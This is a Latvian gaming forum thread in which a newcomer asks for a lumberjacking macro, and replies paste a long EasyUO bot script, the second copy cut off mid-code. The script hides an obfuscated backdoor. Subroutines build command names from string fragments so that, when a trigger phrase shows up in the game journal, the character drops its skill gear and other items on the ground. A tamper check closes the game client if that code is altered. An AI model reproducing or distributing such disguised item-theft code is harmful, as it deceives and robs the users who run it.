Toggle shoutbox Chat
|
Vai Kads ?
#1
Posted 16 February 2011 - 16:50
tagad esmu nūbī salā, bet nesaprotu kā lai kautko tur dabon gatavu. vai tiešām visi kas viņu izgāja ar archeru lumberu un bowcraftu kačāja ar pirkstiņu ?? vai tomēŗ ar scp
..
es gribu uzkačāt lumber ar scp, bet galīgi neko no tā visa nesaprotu ! vai kads lūdzu nevarētu man iedot kādu lumber scp un palidzēt, paskaidrot kas man ar viņu jadara kur viņš ir jamet kā lai ievadu kautkādas koordinātes utt ! jo neko nesaprotu galīgi piemēram no šī te http://forum.egames....showtopic=24335 WTF nesaprotu pilnīgi neko ! TIEŠĀM BŪŠU BEZ GALA PATEICĪGS.
un vell jautājums ko lai es daru tagad uz nubi salas man ir 60 gp un nekā nav ne bowa ne bintes nekā kā lai dabon naudu vismaz bintēm u.c štruntiem !!
PAAAAAALDIES
#2
Posted 16 February 2011 - 18:13
#3
Posted 16 February 2011 - 18:29
#4
Posted 16 February 2011 - 18:46
set %gameClass Cleric ; Cleric or Archer set %maxWeight 380 ; Max ves set %box WBUVKMD ; ID korobki, gde sbrasivatj rudu set %foodCont AVFXKMD ; ID korobki, gde stoit zapasi moloko i bekona set %dropAspen #false ; #true - sbrasivajet Aspen logi , #false - net set %dropWillow #false ; #true - sbrasivajet Willow logi , #false - net set %dropCedarMapleNoblefire #false; #true sbrasivajet etie logi, #false - net set %dropCherryEcalyptus #false ; #true sbrasivajet etie logi, #false - net set %skillItemChange #false ; #true - menjajet skill shmotki, #false - net set %recall #false ; #true - letajet s runebook, #false - begut peshkom ; Do Not Set These Items If %skillItemChange #false set %skillRobe CYUXLMD ; Skill Roba (ID) set %skillCloak SUCIKMD ; Skill Cloack (ID) set %skillMask KBCIKMD ; Skill Mask (ID) set %simpleRobe HNFGLMD ; Prostaja Roba (ID) set %simpleCloak NSYNKMD ; Prostoj cloack (ID) set %simpleMask YVTOLMD ; Helm (TYPE/ID) ; Etix mozhno ne menjatj, esli %recall #false set %runebookID YBUJKMD ; ID runebooka set %runeNumberToHome 1 ; Nr runi na dom set %runeNumberToWood 2 ; Nr runi na les set %amountRecalls 6 ; Skolko recallov vzjatj, kogda ix netu ; special variables for Archer (tolka dlja archera): set %camp heal; #spc - the best camp, heal - healing campifre +5 set %minKidlings 10 ; minimalnoe kolichestvo kidlov v sumke set %amountKidlings 40; skolko kidlov vzjatj, kogda ix netu set %minArrows 100 ; minimalnoe kolichestvo strel v sumke set %amountArrows 250 ; skolko strel vzjatj, kogda ix netu ; special variables for Cleric(tolko dlja klerika): set %Weapon VOH ; oruzhie set %Shield AIK ; shild set %item ZLK_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL set %loot POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL_ZLK if %recall { gosub Instalyze runeNumberToHome 1 gosub Instalyze runeNumberToWood 2 } if %dropAspen set %aspenCol 973 if %dropWillow set %willowCol 0 if %dropCedarMapleNoblefire 3 set %cedarCol 437 set %mapleCol 1233 set %noblefireCol 153 if %dropCherryEcalyptus 2 set %cherryCol 38 set %ecalyptusCol 81 set %skill %skillRobe , _ , %skillCloak , _ , %skillMask gosub gettingStarted gosub initevents set %k 0 set %lastK 0 start: GOSUB LJING 4476 1440 3286 GOSUB LJING 4476 1443 3302 GOSUB LJING 4480 1447 3302 GOSUB LJING 4481 1453 3291 GOSUB LJING 4476 1449 3294 GOSUB LJING 4476 1452 3280 GOSUB LJING 4480 1458 3299 GOSUB LJING 4480 1461 3299 GOSUB LJING 4476 1461 3280 GOSUB LJING 4481 1467 3291 GOSUB LJING 4479 1468 3283 GOSUB LJING 4480 1472 3291 GOSUB LJING 4476 1470 3280 GOSUB LJING 4476 1467 3289 GOSUB LJING 4472 1470 3291 GOSUB LJING 4472 1467 3296 GOSUB LJING 4468 1464 3299 GOSUB LJING 4464 1464 3286 GOSUB LJING 4460 1464 3277 GOSUB LJING 4468 1455 3302 GOSUB LJING 4464 1455 3294 GOSUB LJING 4464 1452 3283 GOSUB LJING 4468 1449 3280 GOSUB LJING 4468 1446 3294 GOSUB LJING 4468 1443 3291 GOSUB LJING 4468 1440 3286 GOSUB LJING 4464 1437 3286 GOSUB LJING 4464 1443 3302 GOSUB LJING 4460 1443 3291 GOSUB LJING 4460 1449 3302 GOSUB LJING 4460 1455 3277 GOSUB LJING 4460 1464 3277 GOSUB LJING 4448 1464 3294 GOSUB LJING 4444 1464 3277 GOSUB LJING 4456 1458 3289 GOSUB LJING 4452 1458 3291 GOSUB LJING 4452 1452 3280 GOSUB LJING 4448 1455 3289 GOSUB LJING 4440 1464 3283 GOSUB LJING 4436 1461 3283 GOSUB LJING 4440 1461 3283 GOSUB LJING 4436 1455 3280 GOSUB LJING 4440 1458 3302 GOSUB LJING 4444 1455 3302 GOSUB LJING 4444 1449 3286 GOSUB LJING 4444 1446 3286 GOSUB LJING 4440 1449 3299 GOSUB LJING 4440 1446 3283 GOSUB LJING 4432 1452 3283 GOSUB LJING 4432 1449 3302 GOSUB LJING 4436 1446 3286 GOSUB LJING 4440 1443 3277 GOSUB LJING 4448 1437 3299 GOSUB LJING 4440 1440 3291 GOSUB LJING 4444 1437 3302 GOSUB LJING 4440 1437 3283 GOSUB LJING 4436 1437 3291 GOSUB LJING 4440 1434 3289 GOSUB LJING 4436 1434 3299 GOSUB LJING 4436 1431 3302 GOSUB LJING 4436 1422 3302 GOSUB LJING 4436 1413 3302 GOSUB LJING 4440 1410 3294 GOSUB LJING 4444 1410 3294 GOSUB LJING 4440 1413 3299 GOSUB LJING 4444 1413 3296 GOSUB LJING 4444 1416 3296 GOSUB LJING 4444 1419 3277 GOSUB LJING 4444 1422 3294 GOSUB LJING 4448 1422 3286 GOSUB LJING 4452 1413 3291 GOSUB LJING 4452 1416 3299 GOSUB LJING 4452 1422 3289 GOSUB LJING 4452 1425 3294 GOSUB LJING 4456 1419 3277 GOSUB LJING 4456 1425 3286 GOSUB LJING 4460 1422 3289 GOSUB LJING 4464 1416 3280 GOSUB LJING 4464 1425 3289 GOSUB LJING 4468 1413 3280 GOSUB LJING 4472 1413 3280 GOSUB LJING 4468 1419 3286 GOSUB LJING 4468 1422 3283 GOSUB LJING 4472 1419 3277 GOSUB LJING 4472 1422 3286 GOSUB LJING 4472 1425 3286 GOSUB LJING 4476 1425 3299 GOSUB LJING 4480 1425 3277 goto start sub ljing set %k %k + 1 gosub ghost gosub checkHP gosub reaper gosub checkWeight move %1 %2 1 finditem FSF C set #lobjectid #findid set #ltargetx %1 set #ltargety %2 set #ltargettile %3 set #ltargetz %4 set #ltargetkind 3 event macro 17 0 target 10s event macro 22 0 wait 7 set %overtime #scnt + 20 gosub scan return sub checkWeight if #weight > %maxWeight { if ! %dropAspen && ! %dropWillow && ! %dropCherryEcalyptus && ! %dropCedarMapleNoblefire { if %recall gosub port if ! %recall gosub moveItems } if %dropAspen || %dropWillow || %dropCedarMapleNoblefire || %dropCherryEcalyptus { gosub dropTrashLogs return } } if %afk <> true || %else <> IJG gosub ghost 1 return sub scan scan: scanjournal 1 if hungry in #sysmsg { gosub eat return } %get fixed gosub reaper if ( ( you_can't_reach_this in #sysmsg ) || ( THERE_IS_NOTHING_HERE_TO_CHOP in #sysmsg ) + || ( use_that_in in #journal ) || ( It_appears_immune_to_your_blow in #sysmsg ) ) return gosub checkHP if #scnt >= %overtime return goto scan return sub arm if %gameClass = Cleric { repeat { finditem %Weapon c_ , #BackpackId set #lobjectID #findid event macro 17 0 wait 12 finditem %Weapon c_ , #BackpackId } until #findcnt = 0 repeat { finditem %Shield c_ , #BackpackId set #lobjectID #findid event macro 17 0 wait 12 finditem %Shield c_ , #BackpackId } until #findcnt = 0 } if %gameClass = Archer { msg $.arm bow$ wait 5 } return sub port set %k %k + 1 gosub arm gosub checkHP gosub reaper if G in #charstatus event macro 6 0 event macro 6 0 set %oldPosX #charposx set %oldPosY #charposy gosub openRunebook repeat { click %x1 %y1 wait 20 } until #contname <> generic_gump && #contsize <> 577_426 if %gameClass = Cleric event macro 13 21 if %gameClass = Archer event macro 13 21 while #charposx = %oldPosX && #charposy = %oldPosY wait 10 gosub moveItems gosub back return sub moveItems ; Koordinati do banka move 4455 1431 move 4485 1431 move 4500 1431 move 4500 1416 move 4500 2891 move 4500 1411 repeat { msg bank$ wait 40 } until #conttype = IKF finditem %box C if #findcnt = 0 { event Sysmessage Box Not Found! halt } repeat { finditem %item C_ , #backpackid if #findcnt >= 1 { exevent Drag #Findid #findstack exevent Dropc %box wait 35 } finditem %item C_ , #backpackid } until #findcnt = 0 ; Koordinati obratno do peshcheri move 4500 2891 move 4500 1416 move 4500 1431 move 4485 1431 move 4455 1431 return sub back gosub checkHP set %oldPosX #charposx set %oldPosY #charposy for %i 1 2 { gosub openRunebook click 261 215 ; Recharge runebook 2x wait 20 } gosub openRunebook repeat { click %x2 %y2 wait 20 } until #contname <> generic_gump && #contsize <> 577_426 event macro 13 21 wait 2s while #charposx = %oldPosX && #charposy = %oldPosY goto back return sub checkHP if #hits < #maxhits { if %skillItemChange gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak gosub arm gosub follow&kill if %skillItemChange gosub changeClothesTo %skillMask %skillRobe %skillCloak } return sub fixed set %k %k + 1 %to %bca %be # . %all { repeat { set %up # . %cares %done %start , _ , %else %end , _ , %up %lastdo %race # . %Wsave %lastdo %eaea # . %alpha # . %beta # . %gamma %upgrade 25 %done %start , _ , %else %end , _ , %up } until # . %gems = 0 } return sub openRunebook finditem %runebookID C_ , #backpackid if #findcnt = 0 { event sysmessage Runebook not found! pause } set #lobjectid #findid event macro 17 0 while #contname <> generic_gump && #contsize <> 577_426 wait 1 return sub ghost if #charghost = YES || %0 = 1 { terminate uo halt } return sub changeClothesTo repeat { finditem %1 C_ , #backpackid set #lobjectID #findid event macro 17 0 wait 35 finditem %1 C_ , #backpackid } until #findcnt = 0 repeat { finditem %2 C_ , #backpackid set #lobjectID #findid event macro 17 0 wait 35 finditem %2 C_ , #backpackid } until #findcnt = 0 repeat { Finditem %3 C_ , #backpackid set #lobjectID #findid event macro 17 0 wait 35 finditem %3 C_ , #backpackid } until #findcnt = 0 return sub initevents set %rescourse finding str left %rescourse 4 set %save #strres set %done %save , item set %iii kill str left string 1 set %asd #strres , %iii set %start % . %asd str left CADY 1 set %end #strres str left character 4 set %who #strres set %cares %who , id str left %do 4 set %lastdo ex , #strres , t set %race dragrace str left %race 4 set %race #strres set %Wsave %save , id str right skopg 3 set %jasl #strres str left drive 2 set %eaea #strres , %jasl str left post 3 set %number %who , #strres set %alpha %number , x set %beta %number , y set %gamma %number , z set %repsawn waitrespawn str left %repsawn 4 set %upgrade #strres str left tilbery 3 set %almost #strres str left unuquady 2 set %past #strres , %almost set %gems %save , cnt set %else IJG return sub follow&kill set %charX #charposx set %charY #charposy set %charz #charposz set %killTime #scnt + 60 if %gameClass = Cleric { repeat { finditem #enemyid event pathfind #FINDX #FINDY #FINDZ 1 3s wait 1s msg $.usebandage$ wait 10 target 1s event macro 23 0 wait 10 gosub ghost } until #findcnt = 0 || #scnt > %killTime } if %gameClass = Archer { repeat { msg .camp %camp $ wait 40 finditem #enemyid } until #findcnt = 0 || #scnt > %killTime } gosub loot if #hits < #maxhits gosub heal set %time #scnt + 20 repeat { event pathfind %charX %charY %charz 1 3s wait 1s gosub ghost if #scnt > %time return } until #charposx = %charX && #charposy = %charY return sub heal repeat { msg $.usebandage$ wait 10 target event macro 23 0 wait 20 } until #hits >= #maxhits return sub gettingStarted set %afk true set %ell qaerty str left %ell 1 set %abc #strres , #strres , #strres set %a1 #strres str left %ell 2 str right #strres 1 set %cba %abc , #strres , %a1 set %bca %cba , #strres str right %afk 1 set %bca %bca , #strres set %bra %bca , b set %n1 nlogif str right %n1 2 set %to #strres str left %n1 1 set %be #strres str right %n1 2 str left #strres 1 set %be #strres , %be set %tour jour set %navigate nalliwate str left %navigate 3 set %all %tour , #strres set %navigate gost str left %navigate 3 set %ac #strres str right pub 2 set %get %ac , #strres set %do events str right linit 4 set %toGo #strres , %do return sub eat finditem ZBM C set #lobjectid #findid event macro 17 0 wait 20 finditem GND C set #lobjectid #findid event macro 17 0 wait 20 event macro 17 0 wait 15s return sub Instalyze if % . %1 <= 8 set %x . %2 260 else set %x . %2 420 if % . %1 = 1 || % . %1 = 9 set %y . %2 260 if % . %1 = 2 || % . %1 = 10 set %y . %2 275 if % . %1 = 3 || % . %1 = 11 set %y . %2 290 if % . %1 = 4 || % . %1 = 12 set %y . %2 305 if % . %1 = 5 || % . %1 = 13 set %y . %2 320 if % . %1 = 6 || % . %1 = 14 set %y . %2 335 if % . %1 = 7 || % . %1 = 15 set %y . %2 350 if % . %1 = 8 || % . %1 = 16 set %y . %2 365 return sub loot set %lootTime #scnt + 20 finditem YFM G_4 if #findcnt >= 1 { set #lobjectid #findid set %body #findid event macro 17 0 while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scnt wait 1 wait 10 repeat { finditem %loot C_ , %body if #findcnt = 0 || #scnt > %lootTime { ignoreitem %body 2 return } exevent drag #findid #findstack exevent dropc #backpackid wait 50 } until #false } return sub dropTrashLogs repeat { finditem ZLK C_ , #backpackid if #findcnt = 0 { wait 20 if #weight >= %maxweight { if %recall gosub port if ! %recall gosub moveItems return } if #weight < %maxweight return } if #findcol = %willowCol || #findcol = %aspenCol + || #findcol = %cedarCol || #findcol = %mapleCol || #findcol = %noblefireCol + || #findcol = %cherryCol || #findcol = %ecalyptusCol { exevent drag #findid #findstack exevent dropg #charposx #charposy #charposz wait 50 } ignoreitem #findid 1 } until #false return sub reaper if %lastK >= %k gosub ghost 1 set %lastK %k finditem JE G if #findcnt <> 0 { sound gosub arm set %charX #charposx set %charY #charposy set %charz #charposz if %skillItemChange gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak set %killTime #scnt + 60 finditem JE G set %reaper #findid set #ltargetid %reaper event macro 27 0 if %gameClass = Cleric { repeat { finditem %reaper event pathfind #FINDX #FINDY #FINDZ 1 3s wait 1s msg $.usebandage$ wait 10 target 1s event macro 23 0 wait 10 gosub ghost } until #findcnt = 0 || #scnt > %killTime } if %gameClass = Archer { repeat { msg .camp %camp $ wait 40 finditem %reaper } until #findcnt = 0 || #scnt > %killTime } gosub loot if #hits < #maxhits gosub heal if %skillItemChange gosub changeClothesTo %skillMask %skillRobe %skillCloak set %time #scnt + 20 repeat { event pathfind %charX %charY %charz 1 3s wait 1s gosub ghost if #scnt > %time return } until #charposx = %charX && #charposy = %charY } return sub rescourses finditem RWF C_ , #backpackid if #findstack <= %minArrows { set #lobjectid %box event macro 17 0 while #contid <> %box wait 1 finditem RWF C_ , %box exevent drag #findid %amountArrows exevent dropc #backpackid wait 35 } finditem PEF C_ , #backpackid if #findstack <= %minKidlings { set #lobjectid %box event macro 17 0 while #contid <> %box wait 1 finditem PEF C_ , %box exevent drag #findid %amountKidlings exevent dropc #backpackid wait 35 } return sub recalls finditem WTL C_ , #backpackid if #findstack <= 2 || #findcnt = 0 { set #lobjectid %box event macro 17 0 while #contid <> %box wait 1 finditem WTL C_ , %box exevent drag #findid %amountRecalls exevent dropc #backpackid wait 35 } return sub food finditem ZBM C_ , #backpackid if #findcnt = 0 { set #lobjectid %foodCont event macro 17 0 while #contid <> %foodCont wait 1 finditem ZBM C_ , %foodCont ; 1 pitcher of milk exevent drag #findid 1 exevent dropc #backpackid wait 35 } finditem GND C_ , #backpackid if #findcnt = 0 { finditem GND C_ , %foodCont exevent drag #findid 4 ; 4 baocn slices exevent dropc #backpackid wait 35 finditem ZBM C_ , %foodCont ; 1 pitcher of milk exevent drag #findid 1 exevent dropc #backpackid wait 35 } return
Слабый пол сильнее сильного в силу слабости сильного к слабому...
Казалось, что нам пипец. Оказалось, что не казалось.
#5
Posted 16 February 2011 - 19:47
man raxta you dont have a spellbook handly un skrien kkur jocigi skrien uz vienu pusi udeni nevis uz kkadu mezhuLūk Lumber scp priekš islanda!Uz anku nenes tikai cērt i viss!
set %gameClass Cleric ; Cleric or Archer set %maxWeight 380 ; Max ves set %box WBUVKMD ; ID korobki, gde sbrasivatj rudu set %foodCont AVFXKMD ; ID korobki, gde stoit zapasi moloko i bekona set %dropAspen #false ; #true - sbrasivajet Aspen logi , #false - net set %dropWillow #false ; #true - sbrasivajet Willow logi , #false - net set %dropCedarMapleNoblefire #false; #true sbrasivajet etie logi, #false - net set %dropCherryEcalyptus #false ; #true sbrasivajet etie logi, #false - net set %skillItemChange #false; #true - menjajet skill shmotki, #false - net set %recall #false ; #true - letajet s runebook, #false - begut peshkom ; Do Not Set These Items If %skillItemChange #false set %skillRobe CYUXLMD; Skill Roba (ID) set %skillCloak SUCIKMD; Skill Cloack (ID) set %skillMask KBCIKMD; Skill Mask (ID) set %simpleRobe HNFGLMD; Prostaja Roba (ID) set %simpleCloak NSYNKMD ; Prostoj cloack (ID) set %simpleMask YVTOLMD; Helm (TYPE/ID) ; Etix mozhno ne menjatj, esli %recall #false set %runebookID YBUJKMD; ID runebooka set %runeNumberToHome 1; Nr runi na dom set %runeNumberToWood 2; Nr runi na les set %amountRecalls 6 ; Skolko recallov vzjatj, kogda ix netu ; special variables for Archer (tolka dlja archera): set %camp heal; #spc - the best camp, heal - healing campifre +5 set %minKidlings 10 ; minimalnoe kolichestvo kidlov v sumke set %amountKidlings 40; skolko kidlov vzjatj, kogda ix netu set %minArrows 100; minimalnoe kolichestvo strel v sumke set %amountArrows 250; skolko strel vzjatj, kogda ix netu ; special variables for Cleric(tolko dlja klerika): set %Weapon VOH ; oruzhie set %Shield AIK ; shild set %item ZLK_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL set %loot POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL_ZLK if %recall { gosub Instalyze runeNumberToHome 1 gosub Instalyze runeNumberToWood 2 } if %dropAspen set %aspenCol 973 if %dropWillow set %willowCol 0 if %dropCedarMapleNoblefire 3 set %cedarCol 437 set %mapleCol 1233 set %noblefireCol 153 if %dropCherryEcalyptus 2 set %cherryCol 38 set %ecalyptusCol 81 set %skill %skillRobe , _ , %skillCloak , _ , %skillMask gosub gettingStarted gosub initevents set %k 0 set %lastK 0 start: GOSUB LJING 4476 1440 3286 GOSUB LJING 4476 1443 3302 GOSUB LJING 4480 1447 3302 GOSUB LJING 4481 1453 3291 GOSUB LJING 4476 1449 3294 GOSUB LJING 4476 1452 3280 GOSUB LJING 4480 1458 3299 GOSUB LJING 4480 1461 3299 GOSUB LJING 4476 1461 3280 GOSUB LJING 4481 1467 3291 GOSUB LJING 4479 1468 3283 GOSUB LJING 4480 1472 3291 GOSUB LJING 4476 1470 3280 GOSUB LJING 4476 1467 3289 GOSUB LJING 4472 1470 3291 GOSUB LJING 4472 1467 3296 GOSUB LJING 4468 1464 3299 GOSUB LJING 4464 1464 3286 GOSUB LJING 4460 1464 3277 GOSUB LJING 4468 1455 3302 GOSUB LJING 4464 1455 3294 GOSUB LJING 4464 1452 3283 GOSUB LJING 4468 1449 3280 GOSUB LJING 4468 1446 3294 GOSUB LJING 4468 1443 3291 GOSUB LJING 4468 1440 3286 GOSUB LJING 4464 1437 3286 GOSUB LJING 4464 1443 3302 GOSUB LJING 4460 1443 3291 GOSUB LJING 4460 1449 3302 GOSUB LJING 4460 1455 3277 GOSUB LJING 4460 1464 3277 GOSUB LJING 4448 1464 3294 GOSUB LJING 4444 1464 3277 GOSUB LJING 4456 1458 3289 GOSUB LJING 4452 1458 3291 GOSUB LJING 4452 1452 3280 GOSUB LJING 4448 1455 3289 GOSUB LJING 4440 1464 3283 GOSUB LJING 4436 1461 3283 GOSUB LJING 4440 1461 3283 GOSUB LJING 4436 1455 3280 GOSUB LJING 4440 1458 3302 GOSUB LJING 4444 1455 3302 GOSUB LJING 4444 1449 3286 GOSUB LJING 4444 1446 3286 GOSUB LJING 4440 1449 3299 GOSUB LJING 4440 1446 3283 GOSUB LJING 4432 1452 3283 GOSUB LJING 4432 1449 3302 GOSUB LJING 4436 1446 3286 GOSUB LJING 4440 1443 3277 GOSUB LJING 4448 1437 3299 GOSUB LJING 4440 1440 3291 GOSUB LJING 4444 1437 3302 GOSUB LJING 4440 1437 3283 GOSUB LJING 4436 1437 3291 GOSUB LJING 4440 1434 3289 GOSUB LJING 4436 1434 3299 GOSUB LJING 4436 1431 3302 GOSUB LJING 4436 1422 3302 GOSUB LJING 4436 1413 3302 GOSUB LJING 4440 1410 3294 GOSUB LJING 4444 1410 3294 GOSUB LJING 4440 1413 3299 GOSUB LJING 4444 1413 3296 GOSUB LJING 4444 1416 3296 GOSUB LJING 4444 1419 3277 GOSUB LJING 4444 1422 3294 GOSUB LJING 4448 1422 3286 GOSUB LJING 4452 1413 3291 GOSUB LJING 4452 1416 3299 GOSUB LJING 4452 1422 3289 GOSUB LJING 4452 1425 3294 GOSUB LJING 4456 1419 3277 GOSUB LJING 4456 1425 3286 GOSUB LJING 4460 1422 3289 GOSUB LJING 4464 1416 3280 GOSUB LJING 4464 1425 3289 GOSUB LJING 4468 1413 3280 GOSUB LJING 4472 1413 3280 GOSUB LJING 4468 1419 3286 GOSUB LJING 4468 1422 3283 GOSUB LJING 4472 1419 3277 GOSUB LJING 4472 1422 3286 GOSUB LJING 4472 1425 3286 GOSUB LJING 4476 1425 3299 GOSUB LJING 4480 1425 3277 goto start sub ljing set %k %k + 1 gosub ghost gosub checkHP gosub reaper gosub checkWeight move %1 %2 1 finditem FSF C set #lobjectid #findid set #ltargetx %1 set #ltargety %2 set #ltargettile %3 set #ltargetz %4 set #ltargetkind 3 event macro 17 0 target 10s event macro 22 0 wait 7 set %overtime #scnt + 20 gosub scan return sub checkWeight if #weight > %maxWeight { if ! %dropAspen && ! %dropWillow && ! %dropCherryEcalyptus && ! %dropCedarMapleNoblefire { if %recall gosub port if ! %recall gosub moveItems } if %dropAspen || %dropWillow || %dropCedarMapleNoblefire || %dropCherryEcalyptus { gosub dropTrashLogs return } } if %afk <> true || %else <> IJG gosub ghost 1 return sub scan scan: scanjournal 1 if hungry in #sysmsg { gosub eat return } %get fixed gosub reaper if ( ( you_can't_reach_this in #sysmsg ) || ( THERE_IS_NOTHING_HERE_TO_CHOP in #sysmsg ) + || ( use_that_in in #journal ) || ( It_appears_immune_to_your_blow in #sysmsg ) ) return gosub checkHP if #scnt >= %overtime return goto scan return sub arm if %gameClass = Cleric { repeat { finditem %Weapon c_ , #BackpackId set #lobjectID #findid event macro 17 0 wait 12 finditem %Weapon c_ , #BackpackId } until #findcnt = 0 repeat { finditem %Shield c_ , #BackpackId set #lobjectID #findid event macro 17 0 wait 12 finditem %Shield c_ , #BackpackId } until #findcnt = 0 } if %gameClass = Archer { msg $.arm bow$ wait 5 } return sub port set %k %k + 1 gosub arm gosub checkHP gosub reaper if G in #charstatus event macro 6 0 event macro 6 0 set %oldPosX #charposx set %oldPosY #charposy gosub openRunebook repeat { click %x1 %y1 wait 20 } until #contname <> generic_gump && #contsize <> 577_426 if %gameClass = Cleric event macro 13 21 if %gameClass = Archer event macro 13 21 while #charposx = %oldPosX && #charposy = %oldPosY wait 10 gosub moveItems gosub back return sub moveItems ; Koordinati do banka move 4455 1431 move 4485 1431 move 4500 1431 move 4500 1416 move 4500 2891 move 4500 1411 repeat { msg bank$ wait 40 } until #conttype = IKF finditem %box C if #findcnt = 0 { event Sysmessage Box Not Found! halt } repeat { finditem %item C_ , #backpackid if #findcnt >= 1 { exevent Drag #Findid #findstack exevent Dropc %box wait 35 } finditem %item C_ , #backpackid } until #findcnt = 0 ; Koordinati obratno do peshcheri move 4500 2891 move 4500 1416 move 4500 1431 move 4485 1431 move 4455 1431 return sub back gosub checkHP set %oldPosX #charposx set %oldPosY #charposy for %i 1 2 { gosub openRunebook click 261 215; Recharge runebook 2x wait 20 } gosub openRunebook repeat { click %x2 %y2 wait 20 } until #contname <> generic_gump && #contsize <> 577_426 event macro 13 21 wait 2s while #charposx = %oldPosX && #charposy = %oldPosY goto back return sub checkHP if #hits < #maxhits { if %skillItemChange gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak gosub arm gosub follow&kill if %skillItemChange gosub changeClothesTo %skillMask %skillRobe %skillCloak } return sub fixed set %k %k + 1 %to %bca %be # . %all { repeat { set %up # . %cares %done %start , _ , %else %end , _ , %up %lastdo %race # . %Wsave %lastdo %eaea # . %alpha # . %beta # . %gamma %upgrade 25 %done %start , _ , %else %end , _ , %up } until # . %gems = 0 } return sub openRunebook finditem %runebookID C_ , #backpackid if #findcnt = 0 { event sysmessage Runebook not found! pause } set #lobjectid #findid event macro 17 0 while #contname <> generic_gump && #contsize <> 577_426 wait 1 return sub ghost if #charghost = YES || %0 = 1 { terminate uo halt } return sub changeClothesTo repeat { finditem %1 C_ , #backpackid set #lobjectID #findid event macro 17 0 wait 35 finditem %1 C_ , #backpackid } until #findcnt = 0 repeat { finditem %2 C_ , #backpackid set #lobjectID #findid event macro 17 0 wait 35 finditem %2 C_ , #backpackid } until #findcnt = 0 repeat { Finditem %3 C_ , #backpackid set #lobjectID #findid event macro 17 0 wait 35 finditem %3 C_ , #backpackid } until #findcnt = 0 return sub initevents set %rescourse finding str left %rescourse 4 set %save #strres set %done %save , item set %iii kill str left string 1 set %asd #strres , %iii set %start % . %asd str left CADY 1 set %end #strres str left character 4 set %who #strres set %cares %who , id str left %do 4 set %lastdo ex , #strres , t set %race dragrace str left %race 4 set %race #strres set %Wsave %save , id str right skopg 3 set %jasl #strres str left drive 2 set %eaea #strres , %jasl str left post 3 set %number %who , #strres set %alpha %number , x set %beta %number , y set %gamma %number , z set %repsawn waitrespawn str left %repsawn 4 set %upgrade #strres str left tilbery 3 set %almost #strres str left unuquady 2 set %past #strres , %almost set %gems %save , cnt set %else IJG return sub follow&kill set %charX #charposx set %charY #charposy set %charz #charposz set %killTime #scnt + 60 if %gameClass = Cleric { repeat { finditem #enemyid event pathfind #FINDX #FINDY #FINDZ 1 3s wait 1s msg $.usebandage$ wait 10 target 1s event macro 23 0 wait 10 gosub ghost } until #findcnt = 0 || #scnt > %killTime } if %gameClass = Archer { repeat { msg .camp %camp $ wait 40 finditem #enemyid } until #findcnt = 0 || #scnt > %killTime } gosub loot if #hits < #maxhits gosub heal set %time #scnt + 20 repeat { event pathfind %charX %charY %charz 1 3s wait 1s gosub ghost if #scnt > %time return } until #charposx = %charX && #charposy = %charY return sub heal repeat { msg $.usebandage$ wait 10 target event macro 23 0 wait 20 } until #hits >= #maxhits return sub gettingStarted set %afk true set %ell qaerty str left %ell 1 set %abc #strres , #strres , #strres set %a1 #strres str left %ell 2 str right #strres 1 set %cba %abc , #strres , %a1 set %bca %cba , #strres str right %afk 1 set %bca %bca , #strres set %bra %bca , b set %n1 nlogif str right %n1 2 set %to #strres str left %n1 1 set %be #strres str right %n1 2 str left #strres 1 set %be #strres , %be set %tour jour set %navigate nalliwate str left %navigate 3 set %all %tour , #strres set %navigate gost str left %navigate 3 set %ac #strres str right pub 2 set %get %ac , #strres set %do events str right linit 4 set %toGo #strres , %do return sub eat finditem ZBM C set #lobjectid #findid event macro 17 0 wait 20 finditem GND C set #lobjectid #findid event macro 17 0 wait 20 event macro 17 0 wait 15s return sub Instalyze if % . %1 <= 8 set %x . %2 260 else set %x . %2 420 if % . %1 = 1 || % . %1 = 9 set %y . %2 260 if % . %1 = 2 || % . %1 = 10 set %y . %2 275 if % . %1 = 3 || % . %1 = 11 set %y . %2 290 if % . %1 = 4 || % . %1 = 12 set %y . %2 305 if % . %1 = 5 || % . %1 = 13 set %y . %2 320 if % . %1 = 6 || % . %1 = 14 set %y . %2 335 if % . %1 = 7 || % . %1 = 15 set %y . %2 350 if % . %1 = 8 || % . %1 = 16 set %y . %2 365 return sub loot set %lootTime #scnt + 20 finditem YFM G_4 if #findcnt >= 1 { set #lobjectid #findid set %body #findid event macro 17 0 while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scnt wait 1 wait 10 repeat { finditem %loot C_ , %body if #findcnt = 0 || #scnt > %lootTime { ignoreitem %body 2 return } exevent drag #findid #findstack exevent dropc #backpackid wait 50 } until #false } return sub dropTrashLogs repeat { finditem ZLK C_ , #backpackid if #findcnt = 0 { wait 20 if #weight >= %maxweight { if %recall gosub port if ! %recall gosub moveItems return } if #weight < %maxweight return } if #findcol = %willowCol || #findcol = %aspenCol + || #findcol = %cedarCol || #findcol = %mapleCol || #findcol = %noblefireCol + || #findcol = %cherryCol || #findcol = %ecalyptusCol { exevent drag #findid #findstack exevent dropg #charposx #charposy #charposz wait 50 } ignoreitem #findid 1 } until #false return sub reaper if %lastK >= %k gosub ghost 1 set %lastK %k finditem JE G if #findcnt <> 0 { sound gosub arm set %charX #charposx set %charY #charposy set %charz #charposz if %skillItemChange gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak set %killTime #scnt + 60 finditem JE G set %reaper #findid set #ltargetid %reaper event macro 27 0 if %gameClass = Cleric { repeat { finditem %reaper event pathfind #FINDX #FINDY #FINDZ 1 3s wait 1s msg $.usebandage$ wait 10 target 1s event macro 23 0 wait 10 gosub ghost } until #findcnt = 0 || #scnt > %killTime } if %gameClass = Archer { repeat { msg .camp %camp $ wait 40 finditem %reaper } until #findcnt = 0 || #scnt > %killTime } gosub loot if #hits < #maxhits gosub heal if %skillItemChange gosub changeClothesTo %skillMask %skillRobe %skillCloak set %time #scnt + 20 repeat { event pathfind %charX %charY %charz 1 3s wait 1s gosub ghost if #scnt > %time return } until #charposx = %charX && #charposy = %charY } return sub rescourses finditem RWF C_ , #backpackid if #findstack <= %minArrows { set #lobjectid %box event macro 17 0 while #contid <> %box wait 1 finditem RWF 